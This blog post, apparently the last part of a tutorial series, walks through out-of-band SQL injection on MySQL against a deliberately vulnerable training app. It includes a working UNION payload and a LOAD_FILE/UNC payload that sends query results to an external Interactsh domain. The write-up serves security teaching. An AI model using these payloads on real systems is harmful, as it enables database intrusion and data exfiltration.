Tuesday, 16 January 2024

Understanding Types of SQL Injection Attacks - Final Part

in , , , , , ,  
Understanding Types of SQL Injection Attacks - Final Part

Hey there, happy new year! This will be the final part of the series. Alysha decided to further her study on a different topic, hence this final part was done by our other team member.

The previous posts of the series could be found here:

Recap

Let’s take a look again at the diagram of SQL Injection techniques below to ensure we can still remember them:

In this final part, we will cover the Out-of-Band (OOB) technique. Similar to the other posts, we would only focus on the MySQL DBMS. We will cover the other DBMSes, probably later in a different post.

What is Out-of-Band?
Out-of-Band (OOB) technique enables us another angle of way to confirm and exploit a ‘blind’ situation vulnerability. Similar to the Time-based technique that we covered in the previous post, OOB technique also is being used when we could not get the output of the vulnerability in the direct response to the vulnerable request. Hence, we could (ab)use the available functions to create an outbound DNS/TCP/UDP/ICMP request which allows the data exfiltration to the remote resource that we have control.

Limitation in OOB SQL Injection technique
There is not much reference of this technique due to the success of the exploitation relies on many factors such as:

  • Firewall rules - outbound request is allowed by the host where the database is running
  • Privilege - most of the functions require privileged permissions. As an example for MySQL, load_file()
  • It only work when the DBMS hosted on a certain Operating System (refer the screenshot below)

Preparing the testing environment
To demonstrate the attack, we require to have a vulnerable web application running MySQL on a Windows host. Hence we used the following:

Download the Laragon software and install it in the Windows VM machine. We used the Laragon Portable version as we can dispose it later.

Then, grab the source codes of the vulnerable web application and add it into the Root folder of the Laragon.

Next, ensure to set/update the root password for the database as instructed by the web application creator. This can be done by right click on the Laragon interface > MySQL > Change root password.

At the same time, ensure to include the sqltraining.sql content into the database that will be used.

Once the preparation is ready, we can access the web application from our testing machine by enabling the ngrok tunnel. This can be done by right click on the Laragon interface > www > Share. You must ensure to configure the ngrok first in the host to allow the feature. Follow this link for reference.

Testing the OOB SQL Injection
From the front page of the web application, there will be some options for us to pick to test the SQL Injection.

We used the searchproduct.php for this demonstration. The vulnerable field is the “Search” field available on the page.

From the UNION-based technique, we found that the number of columns were 5, hence the following payload should work using that technique:

1' union select 1,version(),3,4,5-- and '1'='1

For OOB SQL Injection in MySQL, the payload is simple:

SELECT LOAD_FILE(CONCAT('\\\\', (our query), '.external-domain.com\\a.txt'));

From our testing, it seems that the strings after the domain name (\\a.txt) is needed. Thus, ensure not to miss it in your testing.

The final payload looks like the following:

1' union select 1,(SELECT LOAD_FILE(CONCAT('\\\\', version(),'.pquolmcfhaemhlrmdxrvg8rai0yzmns73.oast.fun\\a.txt'))),3,4,5-- and '1'='1

As the result, we could see as in the screenshot below, the data was exfiltrated to our external domain (Interactsh) instead of being displayed on the web application.

That’s all for this series. We will probably produce another series soon.

We hope everyone could learn something from this series.

Thank you.

References:

Share: